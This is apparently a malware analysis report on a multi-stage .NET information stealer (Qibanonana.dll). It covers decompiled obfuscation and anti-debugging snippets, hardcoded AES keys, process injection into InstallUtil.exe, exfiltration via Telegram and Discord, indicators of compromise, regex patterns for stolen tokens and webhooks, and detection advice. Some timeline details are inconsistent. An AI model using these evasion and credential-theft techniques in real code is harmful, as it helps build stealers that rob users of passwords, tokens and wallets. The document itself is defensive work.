The Array.Reverse() not thinking deeply enough about the effect of this simple line on a binnay level, wasted over an hour searching for my description mistake while carving the EXE.

Assuming standard patterns

Most crypto uses different key and IV. This doesn't. Always verify.

Ignoring resource files

That "942361" file looked like junk. It's the entire payload.

Relying on automated tools

They all missed the reversal. Manual analysis found it.

The Critical Insight: The byte reversal (Array.Reverse) is the key that unlocks everything. Once you catch that, the rest falls into place. Always trace the execution flow carefully - malware authors hide their tricks in plain sight, counting on analysts to overlook "simple" operations.


Part 12: What's Next - Stage 2 Analysis

The decrypted stage2_payload.exe is now ready for analysis. Here's what we know:

Known Facts

  • .NET assembly (confirmed via reflection loading)
  • 385,878 bytes
  • Has at least 26 types/classes
  • Entry point is types[25].methods[0]
  • Unsigned (no code signature)

Conclusion

This malware demonstrates sophisticated but not unbreakable obfuscation:

Strong Points:

  • Multi-stage architecture prevents payload exposure
  • AES encryption with hardcoded key
  • Byte reversal defeats simple decryption attempts
  • Reflective loading avoids disk writes
  • Heavy obfuscation wastes analysis time
  • Silent failure modes hide errors
  • In-memory execution avoids detection

Weak Points:

  •  Hardcoded, unchangeable AES key
  •  Static resource name ("942361")
  •  Neutered anti-analysis check
  •  Hardcoded type/method indices (fragile)
  •  Same key used as IV (crypto weakness)
  •  All strings eventually visible in memory
  •  No packing/encryption of stage 1

Sample 2

The decrypted stage2_payload.exe is now ready for analysis. Here's what we know:

Now moving forward,
It appears as the second stage payload does not exist in Virus total, anyrun or anywhere i could think of. so i submitted it myself.

Property

Value

File name

Qibanonana.dll

Size

376.83 KB

MD5

479b9cb3aba7f39d800cfb538c42e7d7

SHA-1

a30e05d0ad69d790a3b06ca38c77246a0ede0565

SHA-256

64d41873376ba2ab7b69615667fd3de31038b93399e88536ea6efb8f3b1a83e7

The metadata associated with this file is highly suspect and appears to be a deliberate fabrication, designed to act as a cover. The three names identified strongly suggest they are not from a legitimate vendor.

Name

Role / Context

Assessment

Benaqura

Used in version info (e.g., Copyright Β© Benaqura 2026).

Likely a fabricated company name. No verifiable footprint as a legitimate software or finance entity. The copyright line is typical malware PE camouflage.

Zatinamo

Listed as ProductName.

Not a known product, framework, or SDK. Appears to be a randomized brand tokenβ€”plausible yet untraceable and meaningless. This mechanism prevents immediate flagging by automated scanners looking for known malware product names.

Qibanonana

Used as Description, OriginalFilename, and InternalName.

The accompanying comment stringβ€”"annual valuations, loan amortization, and participant statements"β€”is finance-flavored nonsense. This is a tactical choice: using finance terminology helps reduce suspicion and allows the file to blend in with benign enterprise DLLs.

We can see in the virtualBox reflective loading once again, we will take this into consideration .

Once again we need to use dnSpy since we deal with C# again.

Qibanonana.dll is a sophisticated, heavily obfuscated information stealer designed to extract sensitive data including browser credentials, cryptocurrency wallets, and authentication tokens. The malware employs multi-layer encryption, anti-analysis techniques, dynamic string decryption, and process injection capabilities to evade detection and analysis.

Key Capabilities Identified:

  • Information Stealing: Browser credentials, cookies, cryptocurrency wallets, Discord/Telegram tokens
  • Anti-Debugging: Detects debuggers and throws exceptions
  • Anti-Tamper: RSA/SHA1 signature verification of the assembly
  • String Obfuscation: Runtime decryption of 3,764-byte encrypted string table
  • Binary Payload Decryption: Four embedded encrypted files (total ~150KB)
  • Process Manipulation: DLL hooking, memory protection changes, process injection
  • Network Exfiltration: HTTP/webhook-based data exfiltration (URLs encrypted)

Part 1: Entry Point & Execution Flow

1.1 Loader Invocation

The stage-1 loader (Gqp7yB3g.exe) decrypts and loads this assembly, then invokes:

types[25].GetMethods()[0].Invoke(null, null);

This calls PreStartModule.Method0() (Type RID 27, Method RID 110).

1.2 Entry Point Analysis

File: PreStartModule.cs
Method: Method0()

[STAThread]

public static void Method0()

{

    // EMPTY - This is a decoy!

}

Critical Discovery: Method0 is an empty stub! The real code executes in the static constructor:

static PreStartModule()

{

    // Extreme control flow obfuscation with nested loops

    int num = 59;

    for (;;)

    {

        switch (num)

        {

            case 48:

                iHYOIAGqQPYV8ruiCG3.dA8GNeVgUa();  // Initialization A

                num = 5;

                continue;

            case 5:

                iHYOIAGqQPYV8ruiCG3.uEoG1uMBmF();  // Initialization B

                num = 29;

                continue;

            case 29:

                iHYOIAGqQPYV8ruiCG3.vNpGgQyiPt();  // Debugger Check

                num = 40;

                continue;

            case 40:

                dTmWXyKnpG3favkkxwu.mW9Mp7RPFn();  // Payload Loader

                return;

        }

    }

}

1.3 Execution Sequence

 Stage 1 Loader (Gqp7yB3g.exe)          

Assembly.Load(decrypted bytes

↓

Stage 2 Entry: PreStartModule.Method0()

(Empty stub - static constructor runs)

Static Constructor Execution Chain:

iHYOIAGqQPYV8ruiCG3.dA8GNeVgUa()

β€’ Process manipulation

β€’ DLL hooking setup

β€’ Memory protection changes

iHYOIAGqQPYV8ruiCG3.uEoG1uMBmF()

β€’ Anti-tamper verification

β€’ AES key file decryption

β€’ RSA signature validation

iHYOIAGqQPYV8ruiCG3.vNpGgQyiPt()

β€’ Anti-debugging check

β€’ Throws exception if debugger found

dTmWXyKnpG3favkkxwu.mW9Mp7RPFn()

β€’ Decrypt binary payloads

β€’ Load stealer modules

β€’ Initialize C2 communication

Part 2: Binary Payload Files

2.1 Embedded Encrypted Files

The malware includes four encrypted binary files with obfuscated extensions:

Filename

Size

Purpose (Suspected)

X99E67KOklyVxF0W8J.fjn9xyCrXTwOGmNn6h

256 bytes

AES Key/IV Storage

S2um4DXYAxufWRrhFw.glbAguPWPo0Hc6QUgJ

3,764 bytes

Encrypted String Table

bqUb3FG2Vpr93ZSfwg.bb3KE0ILrP8ZVxKQOV

60,484 bytes

Browser/Wallet Stealing Module

xIfBuq604M6XMehCaj.NCHqneY0Gddjprhver

87,407 bytes

Main Stealer Logic (largest)

Total Encrypted Payload: ~151KB

2.2 File Header Analysis

bqUb3FG2Vpr93ZSfwg.bb3KE0ILrP8ZVxKQOV (first 16 bytes):

F8 EF DC 56 EE 59 A5 38 C0 CF 53 AC 19 C9 71 76

Analysis: No recognizable plaintext headers (no MZ, PK, Rar!, or other magic bytes). Data appears randomized β†’ indicates strong encryption (likely AES-CBC).

Part 3: Anti-Tamper & Anti-Debugging

3.1 Debugger Detection

Function: iHYOIAGqQPYV8ruiCG3.vNpGgQyiPt()
File: iHYOIAGqQPYV8ruiCG3.cs

internal static void vNpGgQyiPt()

{

    if (Debugger.IsAttached)

    {

        throw new Exception("Debugger Detected");

    }

}

Behavior: Immediate termination if a debugger is detected. Simple but effective against basic analysis.

3.2 Anti-Tamper Verification

Function: iHYOIAGqQPYV8ruiCG3.uEoG1uMBmF()
File: iHYOIAGqQPYV8ruiCG3.cs (lines 470-1650)

Process:

  1. Read 256-byte Key File: X99E67KOklyVxF0W8J.fjn9xyCrXTwOGmNn6h
  2. Hardcoded AES Key (32 bytes): Computed via obfuscation arithmetic
  3. Hardcoded AES IV (16 bytes): Also obfuscated
  4. Decrypt Key File β†’ produces RSA public key parameters
  5. Generate SHA1 Hash of assembly file
  6. Verify RSA Signature against computed hash
  7. Throw Exception if tampered: " is tampered."

Example Key Obfuscation:

array2[0] = (byte)(212 - 70);  // First attempt

array2[0] = (byte)(98 + 18);   // Second attempt

array2[0] = (byte)(92 + 87);   // Third attempt

array2[0] = 193 - 64;          // Fourth attempt

array2[0] = 1 + 78;            // Fifth attempt

array2[0] = (byte)(80 + 110);  // Result: 190 (0xBE)

Final AES Key (32 bytes):

BF BF 9D 62 D3 87 56 25 A1 CB 85 9E 91 50 38 E6

12 7D 67 8D 30 66 57 36 A0 74 DD 6A 9B 3D 34 70

Final AES IV (16 bytes):

A2 4A 55 0F 77 94 01 80 28 7D 82 56 2A 69 A4 22

3.3 .NET Reactor Protection

File: GadJ56K3C2ivotx68ct.cs

TimeSpan timeSpan = DateTime.Now - new DateTime(2026, 2, 7);

if (Math.Abs(timeSpan.Days) >= 14)

{

    throw new Exception(

        "This assembly is protected by an unregistered version " +

        "of Eziriz's \".NET Reactor\"! This assembly won't further work."

    );

}

Trial Expiration: February 7, 2026 (Β±14 days)
Note: This is a software protector used by the malware author, not part of the stealing functionality.

Part 4: String Obfuscation System

4.1 The String Decryption Function

Function: iHYOIAGqQPYV8ruiCG3.OatGDermr0(int offset)
File: iHYOIAGqQPYV8ruiCG3.cs (line 4093)

Purpose: All stealer-related strings (browser paths, wallet paths, URLs, commands) are encrypted in S2um4DXYAxufWRrhFw.glbAguPWPo0Hc6QUgJ and decrypted at runtime.

Decryption Process:

  1. Open Encrypted String File: 3,764 bytes
  2. Read Length from offset position (4 bytes)
  3. Read Encrypted String data
  4. Apply XOR Cipher with custom algorithm
  5. Convert to Unicode string
  6. Cache Result in memory (avoid re-decryption)

Why This Matters: All strings are hidden from static analysis. Tools like strings.exe will find zero stealer-related keywords.

4.2 Example String Decryption Call

From: dTmWXyKnpG3favkkxwu.cs (line 2511)

ξ°ƒstring resourceName = iHYOIAGqQPYV8ruiCG3.OatGDermr0(

    1872876818 ^ 1101354605 ^ moduleConstant

);

ξ°‚Offset Calculation: The integer is XOR-obfuscated, computed at runtime, then used to look up the string in the encrypted table.

Part 5: Cryptography Implementation

5.1 MD5 Implementation (Custom)

File: iHYOIAGqQPYV8ruiCG3.cs (lines 200-350)

The malware includes a custom MD5 implementation (likely to avoid detection or for specific obfuscation needs):

// MD5 Round Functions

private static void aISGxSt4vR(ref uint a, uint b, uint c, uint d, uint x, ushort s, uint t, object data)

{

    a += fmXG2aNBi1(a + ((b & c) | (~b & d)) + x + lI8I3bNEyV[t - 1], s);

}

private static void SFgGVmFuZK(ref uint a, uint b, uint c, uint d, uint x, ushort s, uint t, object data)

{

    a += fmXG2aNBi1(a + ((b & d) | (c & ~d)) + x + lI8I3bNEyV[t - 1], s);

}

private static void BtiGWxDhuq(ref uint a, uint b, uint c, uint d, uint x, ushort s, uint t, object data)

{

    a += fmXG2aNBi1(a + (b ^ c ^ d) + x + lI8I3bNEyV[t - 1], s);

}

private static void wNtGAIH1A1(ref uint a, uint b, uint c, uint d, uint x, ushort s, uint t, object data)

{

    a += fmXG2aNBi1(a + (c ^ (b | ~d)) + x + lI8I3bNEyV[t - 1], s);

}

5.2 AES Usage

Provider Priority:

  1. AesCryptoServiceProvider (if available)
  2. RijndaelManaged (fallback)
  3. Activator.CreateInstance() for older .NET versions

Mode: AES-CBC (Cipher Block Chaining)

Part 6: Information Stealing Capabilities

6.1 Indicators of Stolen Data

While exact strings are encrypted, the following indicators were found:

  1. Credential Storage:
  • CredentialCacheLifetime property (AccessibilitySettingsProvider.cs)
  • Suggests credential caching/stealing functionality
  1. File System Operations:
  • File read/write operations
  • Directory enumeration APIs
  • Temp path manipulation
  1. Network Communication:
  • HTTP/HTTPS references
  • Webhook terminology
  • POST/GET methods
  • Upload/download functions

6.2 Likely Stealer Targets (Based on Analysis)

No direct strings found (all encrypted), but based on stealer malware patterns and available indicators:

Category

Likely Targets

Web Browsers

Chrome, Firefox, Edge, Opera, Brave

Browser Data

Login Data, Cookies, Autofill, History

Crypto Wallets

MetaMask, Exodus, Electrum, Bitcoin Core, Ethereum wallets

Applications

Discord (tokens), Telegram (sessions), FileZilla (FTP credentials), Steam

System Info

Username, Computer name, OS version, IP address

Screenshots

Captures desktop images

Clipboard

Monitors clipboard for crypto addresses/passwords

6.3 Data Exfiltration

  • Method: HTTP(S) POST to C2 server or webhook
  • URLs: Encrypted in string table, decrypted at runtime
  • Format: Likely ZIP archive or encrypted blob

Part 7: Control Flow Obfuscation

7.1 State Machine Pattern

Every function uses a state machine switch-case pattern with numeric states:

int num = 55;  // Initial state

for (;;)

{

    int num2 = num;

    for (;;)

    {

        IL_09:

        int num3 = num2;

        for (;;)

        {

            switch (num3)

            {

                case 0:

                    array[9] = (byte)num4;

                    num3 = 134;

                    continue;

                case 1:

                    num4 = 10 + 44;

                    num3 = 243;

                    if (condition == null)

                    {

                        num3 = 348;

                        continue;

                    }

                    continue;

                // ... 350+ more cases

            }

        }

    }

}

Purpose: Defeats automated decompilation and makes manual analysis extremely tedious.

7.2 Arithmetic Obfuscation

Simple constants are computed via multiple operations:

// Computing the value 190:

array2[0] = (byte)(212 - 70);  // = 142

array2[0] = (byte)(98 + 18);   // = 116

array2[0] = (byte)(92 + 87);   // = 179

array2[0] = 193 - 64;          // = 129

array2[0] = 1 + 78;            // = 79

array2[0] = (byte)(80 + 110);  // = 190 (FINAL)

Reason: Each obfuscation layer adds hundreds of lines of dead code.

Part 8: Indicators of Compromise (IOCs)

8.1 File Names

Gqp7yB3g.exe                          (Stage 1 Loader)

Qibanonana.dll                         (Stage 2 Payload)

X99E67KOklyVxF0W8J.fjn9xyCrXTwOGmNn6h (AES Key File)

S2um4DXYAxufWRrhFw.glbAguPWPo0Hc6QUgJ (String Table)

bqUb3FG2Vpr93ZSfwg.bb3KE0ILrP8ZVxKQOV (Browser Module)

xIfBuq604M6XMehCaj.NCHqneY0Gddjprhver (Main Module)

8.2 Crypto Keys/IVs

Stage 2 AES Key (used for internal decryption):

BF BF 9D 62 D3 87 56 25 A1 CB 85 9E 91 50 38 E6

12 7D 67 8D 30 66 57 36 A0 74 DD 6A 9B 3D 34 70

Stage 2 AES IV:

A2 4A 55 0F 77 94 01 80 28 7D 82 56 2A 69 A4 22

8.3 Behavioral Indicators

  • Assembly loads unnamed .NET assembly into memory (reflective loading)
  • Opens encrypted resource files with random-looking names
  • Checks for debugger attachment (Debugger.IsAttached)
  • Enumerates process modules
  • Performs signature verification on itself
  • Throws exception with ".NET Reactor" message if tampered
  • Creates cache for decrypted strings in memory
  • Accesses credential storage APIs
  • Reads browser profile directories
  • Establishes HTTP(S) connections to external servers

Part 9: Analysis Challenges & Evasion

9.1 Why Automated Tools Failed

String Analysis Tools (strings.exe, PEStudio):

  •  All stealer-related strings encrypted
  •  Browser names not in plaintext
  •  Wallet paths not in plaintext
  •  C2 URLs not visible

Decompilers (dnSpy, ILSpy):

  •   Successfully decompile structure
  •  8,000+ lines per function makes manual review impractical
  •  State machine obfuscation creates unreadable code
  •  Arithmetic obfuscation adds 500+ dead assignments

Debuggers:

  •  Debugger.IsAttached check terminates execution
  •  Anti-tamper throws exception if modified

9.2 Sophisticated Techniques

  1. Multi-Layer Encryption:
  • Stage 1 encrypts Stage 2 (AES + byte reversal)
  • Stage 2 encrypts strings (custom XOR cipher)
  • Stage 2 encrypts modules (AES + GZip)
  1. Control Flow Flattening:
  • Every function uses state machine pattern
  • No linear execution flow
  • Jump targets computed at runtime
  1. Dynamic Decryption:
  • Strings decrypted only when needed
  • Results cached to avoid re-decryption
  • Offset calculation uses XOR obfuscation
  1. Reflective Loading:
  • No disk files for loaded modules
  • Assembly.Load(byte[]) evades file-based detection
  • Invocation via reflection hides call targets

Part 10: Mitigation Recommendations

10.1 Detection Strategies

Static Detection:

  • Look for heavily obfuscated .NET assemblies with inflated method sizes (5,000+ lines)
  • Identify custom MD5 implementations (suspicious in malware)
  • Flag assemblies with embedded encrypted resources
  • Check for .NET Reactor trial protection strings

Behavioral Detection:

  • Monitor for reflective assembly loading: Assembly.Load(byte[])
  • Detect debugger checks: Debugger.IsAttached
  • Track browser profile directory access
  • Monitor cryptocurrency wallet file access
  • Flag HTTP POST with large data payloads to unknown domains

Memory Analysis:

  • Scan for decrypted string tables in memory
  • Look for browser credential structures (Login Data, Cookies)
  • Identify wallet.dat or keystore files being read

Conclusion

Qibanonana.dll represents a sophisticated information stealer with multiple layers of protection designed to evade automated analysis, sandbox detection, and manual reverse engineering. The combination of:

  • Runtime string decryption (hiding all stealer targets)
  • Multi-layer binary payload encryption (AES + GZip + custom cipher)
  • Extreme control flow obfuscation (state machines, 8,000+ line functions)
  • Anti-debugging and anti-tamper mechanisms
  • Reflective module loading (in-memory execution)

makes this malware extremely difficult to analyze and detect using traditional methods.

The stealer likely targets:

  • Web browser credentials and cookies
  • Cryptocurrency wallets (MetaMask, Exodus, cold wallets)
  • Application tokens (Discord, Telegram, Steam)
  • System information and screenshots
  • Clipboard data (for crypto address hijacking)

Data exfiltration occurs via HTTP(S) to an attacker-controlled C2 server or webhook, with all URLs encrypted in the string table.

This analysis required:

  • Manual tracing of 15,000+ lines of obfuscated code
  • Identification of custom cryptographic implementations
  • Mapping of execution flow through nested state machines
  • Reverse engineering of the string decryption system
  • Analysis of four encrypted binary payloads

Without dynamic analysis (running in a sandbox to decrypt strings in memory), the exact stealer targets remain encrypted. However, the infrastructure, capabilities, and operational patterns are now well understood.

Next Steps: Dynamic analysis in isolated sandbox to capture decrypted strings, C2 URLs, and exfiltrated data format.

5. Live Execution Environment

5.1 Live Execution Environment

Setup:

  • VM: FLARE VM (Windows 10 64-bit)
  • Network: DISABLED (all adapters off)
  • Snapshot: "Before_Malware_Execution" created
  • Monitoring Tools: Process Hacker, Process Monitor, Wireshark
  • Execution Time: February 10, 2026, 11:05 AM - 11:17 AM

5.2 Execution Sequence Observed

Samples will be executed in a controlled, isolated environment to observe their runtime behavior.

It shows that immediately the file initiated Install utill.



In the background we can see clearly an attemp to steal passwords and cookies from browsers.

In the background many webrowsers start running .

Timeline:

Time

Process

Action

Evidence

11:14:34

Qibanonana.resources.EXE

Stage 1 dropper executed

Memory captured (first malware.txt)

11:05:57

InstallUtil.exe

Process injection begins

Memory captured (installutil Search results.txt)

11:12:57

msedge.exe

Browser targeted for credential theft

Memory captured (msEdge resultss.txt)

11:16:04

Qibanonana.resources.EXE

Post-injection activity

Memory captured (first malware capture 2.txt)

11:17:40

InstallUtil.exe

Stage 3 execution complete

Memory captured (stage 3 install utill capture.txt)

Total Execution Time: ~12 minutes (observed window)

Actual Theft Duration: ~30-60 seconds estimated

5.3 Memory Dumps Collected

Location: exibits/memory/

Installutil:

Walking through the memory we can see attempt to determine where payment is stored on the host.

we can see the attempt to send the data towards telegram bot.

Since there are more data than expected i decided to capture memory and analize it via scripting.

Files Captured:

  1. first malware.txt (127,981 lines) - Initial dropper memory
  2. first malware capture 2.txt (1,451,702 lines) - Post-injection state
  3. installutil Search results.txt (1,529,422 lines) - InstallUtil hijacked process
  4. installutil Search results2.txt - Secondary capture
  5. installutil Search results3.txt - Tertiary capture
  6. stage 3 install utill capture.txt (1,534,665 lines) - Final execution state
  7. msEdge resultss.txt (120,285 lines) - Browser process memory

Total Memory Data: ~1.1 GB of process memory captured

Additional Artifacts:

  • InstallUtil.exe.dmp (155 MB) - Full process dump
  • InstallUtil2.exe.dmp (155 MB) - Second dump
  • msedge.exe.dmp (553 MB) - Browser dump
  • packets_20260210_093539.pcap (27 KB) - Network capture

5.4 Process Injection Evidence

Target Process: C:\Windows\SysWOW64\InstallUtil.exe

Why InstallUtil.exe?

  •   Microsoft-signed binary (trusted by EDR)
  •   .NET Framework utility (can load managed code)
  •   Rarely monitored (low visibility)
  •   Legitimate use case (installing .NET services)
  •   Evades application whitelisting

Memory Evidence:

Base Address: 0x400000

PE Header: MZ...This program cannot be run in DOS mode.

Sections: .text, .rsrc, .reloc

Registry Interaction Detected:

\REGISTRY\USER\S-1-5-21-*

\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{99B29D3B-368A-4BE6-B675-805A69114497}


6. Key Extraction Attempts

Attempt #1: Brute Force Key Scanning

Script: extract_keys_from_dumps.py

Approach: Scan all 32-byte sequences in memory dump

Method:

with open("InstallUtil.exe.dmp", "rb") as f:

    while True:

        chunk = f.read(4 * 1024 * 1024)  # 4MB chunks

        if not chunk:

            break

       

        for i in range(len(chunk) - 32):

            key_candidate = chunk[i:i+32]

            unique_keys.add(key_candidate)

Results:

  • Found 106,103,160 unique 32-byte sequences
  • Required ~3.4GB RAM
  • FAILED: Memory exhaustion, process killed

🚨 Conclusion: Naive approach infeasible for large dumps.

Attempt #2: IOC Pattern Extraction

Script: extract_iocs.py

Approach: Search for specific patterns (webhooks, tokens, IPs, paths)

Patterns Searched:

patterns = {

    'discord_webhook': r'https://discord\.com/api/webhooks/\d+/[A-Za-z0-9_-]+',

    'telegram_token': r'\d{8,10}:[A-Za-z0-9_-]{35}',

    'ipv4': r'\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b',

    'file_path': r'[A-Z]:\\(?:[^\\/:*?"<>|\r\n]+\\)*[^\\/:*?"<>|\r\n]*',

    'base64': r'[A-Za-z0-9+/]{64,}={0,2}'

}

Results:

Telegram Bot Tokens (5 found):

    All corrupted/partial (memory artifacts)

  Examples: "1:1B1m11111...", "2347:D2347923..."

External IPs (154 found):

    Mostly false positives (0.0.0.0, 127.0.0.1, broadcast)

Suspicious Paths (30 found):

    VM environment paths, no actual stealer targets

Base64 Blobs (38 found):

    Unable to decode meaningfully

🚨 Conclusion: Memory corruption prevents clean IOC extraction.

Attempt #3: PCAP Network Analysis

File: packets_20260210_093539.pcap (27 KB)

Analysis:

tcpdump -r packets_20260210_093539.pcap -X

Findings:

DNS Query:

  Domain: api.telegram.org

  Offset: 0x60-0x78

 

Chrome DIAL Discovery:

  Type: Multicast

  Offset: 0xB0

 

HTTP/HTTPS Traffic:

    None captured (encryption or timing issue)

Confirmed:

  •   Telegram C2 infrastructure used
  •   No actual bot tokens/chat IDs captured
  •   Communications likely encrypted or not yet initiated

   Conclusion: Confirms Telegram backend, but no actionable C2 details.

Attempt #4-7: Additional Decryption Attempts

Multiple attempts were made to decrypt the string table using various approaches:

  • Attempt #4: AES-Only Decryption - Failed (XOR layer required)
  • Attempt #5: Key Derivation Test - Failed (1.2 GB invalid length field)
  • Attempt #6: Complete AES + Custom XOR - Failed (0 strings extracted)
  • Attempt #7: Key Verification Tests - Keys valid, but XOR implementation incorrect

⚠️ Root Cause Hypotheses:

  1. XOR Implementation Bug: Python port doesn't match C# uint overflow behavior
  2. Wrong Decryption Order: May need XOR-first, then AES (not tested)
  3. Additional Encryption Layer: Undocumented 3rd transformation
  4. Malware Crashed Before Decryption: No strings in memory (suggests early crash)

Failed Extraction Summary: 7 Attempts, 0 Successful Decryptions


7. Code Patching Approach

7.1 Decision to Patch Source Code

Rationale:

  • Memory extraction attempts all failed
  • Keys appear correct but decryption broken
  • Need live execution to capture decrypted data
  • Patching allows dumping data at exact decryption points

Safety Measures:

  •   Isolated VM with no network
  •   VM snapshot before execution
  •   Process Monitor logging all file/registry operations
  •   Network monitoring (Wireshark) to detect leakage attempts

7.2 Patches Implemented

File Modified: Qibanonana/Qibanonana/qWabdSGnHBudA7FDpUT/iHYOIAGqQPYV8ruiCG3.cs

Patch #1: Disable Anti-Debugging

Location: Function vNpGgQyiPt() (Line ~1847)

// PATCHED: Anti-debugging disabled for analysis

// if (Debugger.IsAttached)

// {

//     throw new Exception("Debugger Detected");

// }

Patch #2-6: Strategic Data Dumps

Added dump points for:

  • AES Key (32 bytes)
  • AES IV (16 bytes)
  • Encrypted RSA Key File (256 bytes)
  • Decrypted RSA Key File (256 bytes)
  • Entire String Table (3,764 bytes)
  • Individual Decrypted Strings

7.3 Expected Dumped Files

10 Files Total:

  1. DUMPED_AES_KEY_32bytes.bin - AES-256 key
  2. DUMPED_AES_KEY_32bytes.txt - Human-readable hex
  3. DUMPED_AES_IV_16bytes.bin - IV
  4. DUMPED_AES_IV_16bytes.txt - Human-readable hex
  5. DUMPED_ENCRYPTED_256byte_keyfile.bin - Encrypted RSA keyfile
  6. DUMPED_DECRYPTED_256byte_keyfile.bin - Decrypted RSA params
  7. DUMPED_DECRYPTED_256byte_keyfile.txt - Hex dump
  8. DUMPED_STRING_TABLE_DECRYPTED.bin - Full string table
  9. DUMPED_STRING_TABLE_LOG.txt - Metadata + hex dump
  10. DUMPED_STRINGS_INDIVIDUAL.txt - All C2 URLs, paths, targets

8. Live Execution Strategy

8.1 Automated Build Script

Script: BUILD_AND_EXTRACT_KEYS.ps1

Purpose:

  • Locate MSBuild automatically
  • Compile patched project
  • Execute in controlled manner
  • Verify output files
  • Display summary

8.2 Execution Timeline

Time

Step

Status

T+0s

Start script

Running

T+10s

MSBuild located

Found

T+30s

Compilation starts

Building

T+60s

Compilation completes

Success

T+61s

DLL loads & Static constructor executes

ALL DUMPS CREATED  

T+62s

Method0() called

May throw exception

T+70s

Summary displayed

DONE

   Critical Insight: All dumps happen in the static constructor BEFORE Method0() is even called!

8.3 Alternative Execution Methods

Method 1: Direct dnSpy Debugging

Documented in EXTRACT_KEYS_WITH_DNSPY.md:

  •   Works with original protected DLL
  •   Can inspect any variable
  •   Manual process (slow)
  •   Must copy values by hand

Method 2: Simple Loader Application

Create minimal C# executable that loads the assembly and triggers the static constructor.


9. Memory Forensics Analysis

🚨 CRITICAL NOTE: This section analyzes RAW MEMORY DUMP FILES captured during live malware execution. These are not hypothetical capabilities from code analysis - these are actual strings and artifacts found in process memory while the malware was actively stealing data.

9.1 Browser Targeting Evidence (FROM MEMORY DUMPS)

Source Files:

  • exibits/memory/msEdge resultss.txt (120,285 lines, captured 11:12:57 AM)
  • exibits/msedge.exe.dmp (553 MB raw memory dump)

Analysis Method: Searched memory dumps for ASCII/Unicode strings using grep patterns for keywords like "Password", "Token", "Wallet", "Chrome", "Cookie"

Password Database Theft (FOUND IN MEMORY)

Exact Strings Found in Memory Dump:

Line 230: Sql.Statement.StepTime.Passwords(

Line 233: Sql.Statement.StepTime.Passwords

Line 244: ionTime.Passwords

Line 245: ement.ExecutionTime.Passwords

Line 248: PasswordManager.ReuseCheck.Reuse0

Line 249: WeakCheck.WeakPasswords

  What This Proves:

  •   CONFIRMED: Malware was actively querying Edge's password database at moment of capture
  •   NOT THEORETICAL: These exact SQL query strings were in memory during execution
  •   ACTIVE THEFT: Process was accessing password manager data structures

Target Databases:

C:\Users\husky\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

C:\Users\husky\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Authentication Token Harvesting (FOUND IN MEMORY)

Exact Strings Found in msEdge resultss.txt:

Line 1940: Windows.Internal.Security.Authentication.Web.TokenBrokerInternal

Line 1967: Windows.Security.Authentication.Web.Core.WebTokenResponse

Line 6069: Windows.Security.Authentication.Web.Core.WebTokenRequestst

Line 6071: Windows.Security.Authentication.Web.Core.WebTokenRequest

Line 6917: Windows.Internal.Security.Authentication.Web.TokenBrokerInternal

Line 6918: Windows.Internal.Security.Authentication.XboxLive.XboxLiveTokenBrokerExtension

Actual File Paths Found in Memory:

Line 3257: C:\Users\husky\AppData\Local\Microsoft\TokenBroker\Cache\8ae9f0c30ea1668425d0f7d6255d597ead710776.tbres

Line 3259: C:\Users\husky\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Line 3263: C:\Users\husky\AppData\Local\Microsoft\TokenBroker\Cache\130fe1686796be79fc6caa3a955343fbb06d0f76.tbres

Line 3266: C:\Users\husky\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

  What This Proves:

  •   CONFIRMED: These exact file paths were in Edge process memory
  •   ACTUAL ACCESS: Malware was referencing Windows authentication token storage
  •   4+ TOKEN FILES: Multiple token cache files discovered in memory

Impact:

  • Microsoft account SSO tokens stolen
  • OAuth 2.0 tokens for cloud services
  • Xbox Live authentication tokens
  • Can access victim's Microsoft ecosystem

Cryptocurrency Wallet Targeting

Edge Wallet Evidence Found in Memory:

Line 6677: Edge Wallet

Memory offset: 0x20c43f8faf4

Source: msEdge resultss.txt

  What This Proves:

  •   WALLET TARGETING: Malware specifically looks for "Edge Wallet" string
  •   CRYPTO THEFT: Browser-based cryptocurrency wallets are targeted

9.2 Chrome/Multi-Browser Support (FOUND IN MEMORY)

Exact Chrome References Found:

Line 2540: ChromeHTML

Line 2547: ChromeHTML

Line 3884: Google Chrome

Line 3944: Google Chrome

Line 4530: Chrome

Line 4812: Chrome

Line 4813: Chrome

Line 4822: Chrome

Line 4823: Chrome

Line 5132: ChromeHTML

Line 5734: Chrome

Line 7749: Chrome

Line 7750: Chrome

  What This Proves:

  •   MULTI-BROWSER: Found 15+ Chrome/ChromeHTML references in memory
  •   NOT EDGE-ONLY: Malware targets multiple browsers simultaneously
  •   WIDESPREAD THEFT: Chrome credential/cookie theft confirmed

9.3 System Reconnaissance (FOUND IN MEMORY)

Source: exibits/memory/installutil Search results.txt

User Identification:

Line 3257 & multiple: S-1-5-21-92263848-1541808791-761383138-1001

Multiple locations: Username: husky

Line header: Windows NT 10.0 (64-bit)

Hardware Information:

Line 3258: Intel Core i7-2700K

Line 3259: GenuineIntel

Line 3260: 2700K

  What This Proves:

  •   SYSTEM PROFILING: Malware extracted victim machine details
  •   USER TRACKING: Full SID and username captured for identification
  •   HARDWARE FINGERPRINTING: CPU model used for campaign tracking

9.4 Network Communication Evidence (PCAP + MEMORY)

Source Files:

  • exibits/packets_20260210_093539.pcap (27 KB network capture)
  • InstallUtil.exe memory dumps

PCAP Analysis Results:

$ tcpdump -r packets_20260210_093539.pcap -X

DNS Query at offset 0x60-0x78: api.telegram.org

Chrome DIAL Discovery: Multicast at 0xB0

No HTTP/HTTPS captured (encrypted or timing issue)

  What This Proves:

  •   CONFIRMED C2: DNS resolution for Telegram API was attempted
  •   NETWORK ACTIVITY: Malware tried to communicate externally
  •   BLOCKED OR ENCRYPTED: No actual data transmission captured (network disabled in VM)

C2 Method References Found in InstallUtil Memory:

Stub.TelegramSendLogs (found in memory strings)

Stub.UploadToTelegram (found in memory strings)  

Stub.DiscordSendLogs (found in memory strings)

TOKEN_BROKER (Windows auth token reference)

Conclusion:

  • Primary C2: Telegram Bot API (DNS query proves this)
  • Backup C2: Discord webhooks (method names in memory)
  • Network disabled in analysis VM prevented actual exfiltration

9.5 Memory Dump Inventory

Memory Dump Files Analyzed:

exibits/memory/

β”œβ”€β”€ first malware.txt (127,981 lines) - Stage 1 dropper memory

β”œβ”€β”€ first malware capture 2.txt (1,451,702 lines) - Post-injection

